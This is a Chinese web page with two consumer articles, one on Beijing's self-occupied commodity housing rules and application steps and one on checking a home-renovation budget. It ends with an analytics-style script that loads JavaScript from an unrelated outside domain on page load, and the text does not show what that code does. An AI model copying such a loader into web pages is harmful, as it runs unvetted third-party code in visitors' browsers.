北京自住型商品房政策 看看北京自住型商品房怎么样申请

买房是人生中很重要的事情，在房价越来越高的时候越来越多的人喜欢自己能够去买房。在北京群众的买房压力非常大，不仅仅是因为它是首都，更是因为在当地有钱人比较多，房价一直是全国数一数二。北京当地的政府为了减轻普通市民的购房压力，特别推出了自住型商品房，它的价格会比普通商品房低一些。下面为你介绍北京自住型商品房政策。北京自住型商品房申请条件1、名下一套内住房京籍家庭;2、持有有效暂住证，并连续5年(含)以上在本市缴纳社保或个税，且名下无房的非京籍家庭;3、单身者购买需满25岁;4、本市户籍的无房家庭和目前已在轮候经适房、限价房的家庭可优先购买。注意：1、自住型商品住房购房人取得房屋所有权证后，原则上5年内不得转让。2、购房人取得房屋所有权证5年以后转让的，如有增值，应当按照届时同地段商品住房价格和该自住型商品住房购买时价格差价的30%交纳土地收益等价款。购房人将自住型商品住房转让后，不得再次购买自住型商品住房。北京自住型商品房申请流程1、报名按照职责分工，市住建委负责指导、监督全市自住型商品房销售管理工作，而开发商在向市住建委网站申请办理自住型商品住房预售许可或者现房销售备案手续前，就会在市住建委网站和销售现场进行不少于15天的公示。到时候，老百姓能从这些公示内容中看到项目名称、企业名称、项目位置、套数、户型面积、销售均价等信息。如果真对某个项目动了买房的念头，在这不少于15天的公示期中，市民可以按照普通购房要求提交相关材料;经适房、两限房轮候家庭，还得提交《北京市城市居民购买经济适用住房/限价商品住房申请备案通知单》和申请人的身份证明材料。申请人既要在网上提交相关材料，也要到开发商销售现场提交原件和复印件，就是说网上和现场提交材料的两步都要走。2、核验市民在提交材料之后的20个工作日内就可以得到是否通过审核的结果，通过购房资格审核的申请家庭，方可参加摇号。3、摇号摇号前，产权型保障房轮候家庭和本市户籍无房且其中单身人士已年满25周岁的家庭会自动进入优先池，其他有购房资格的人群则会进入普通摇号池。系统摇号开始以后，会分别对这两个摇号池内的候选人排大队，再由开发商依次通知选房。4、选房优先池中的家庭会先选房，而且每个申请家庭只能选择一套自住型商品房。选房之后就是签约。开发商会与购房家庭签订购房合同，购房家庭的成员今后不得再申请购买自住型商品房;属经济适用住房、限价商品房轮候家庭的，自动放弃轮候资格。北京自住型商品房政策就先介绍到这里，由于北京自住型商品房本质上是属于福利性住房之一，这也直接决定了它只能够被少数人给拥有，能够买到北京自住型商品房的人是非常的有限。再加上当地的住房政策在不断的调整、改变，北京自住型商品房政策也不是一直如初，它可能会根据市场等因素的变化而发生改变，想要申请的人要及时留意相关单位公布最新消息。

怎样确定商品房装修预算表的合理性

有的人说装修是个无底洞，这句话充分表明了装修花费之多。商品房装修中有很多施工项目，需要各种各样的材料，费用支出不仅多，而且非常杂。为了有效控制成本，全面了解商品房装修预算是非常重要的。那么应该怎样确定商品房装修预算表费用是否合理？首先了解费用计算方式，其次确认装修预算，最后预算审核方式。一、了解费用计算方式在商品房装修预算表中，费用主要分为三大类：设计费、人工费、材料费。如果想要房子具有特定的风格特点，最好请专业的设计师进行设计，有的装修公司为扩大销售会增送设计服务。人工费主要在于施工的面积，不同的项目也要请相应的专业人员。比如水电工程需要水电工，墙面刷漆需要瓦工漆工。材料费的高低取决于所使用的品牌，以安全环保为主。二、确认装修预算一般来说在确定商品房装修预算表之前，需要业主先报出想投入的预算总价，装修公司根据这个总体数额来进行具体设计和报价。业主的预算报价需要在考虑可用资金的基础上，和装修公司全面沟通，从而确定装修的档次。三、预算审核方式完成商品房装修预算表之后，一定要进行审核。装修的每项工程都应该体现在预算书中，查看预算包括的内容、范围是否全面。如所使用的漆料，只写明哪一个品牌是不可以的，同一品牌有不同的系列，价格自然也是有昂贵的有便宜的，建材一定要具体到哪个种类。只考虑价钱是不可取的，在对比材料的成分、规格基础上选择品质好的、性价比高的。注意商品房装修预算表里施工面积的测量，尤其是墙面面积，门窗的涂刷面积应该计入50%。像管理费往往是分摊在各个项目中，不应该重复计算。如果商品房装修预算表没有意见，就可以和装饰公司签订合同了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();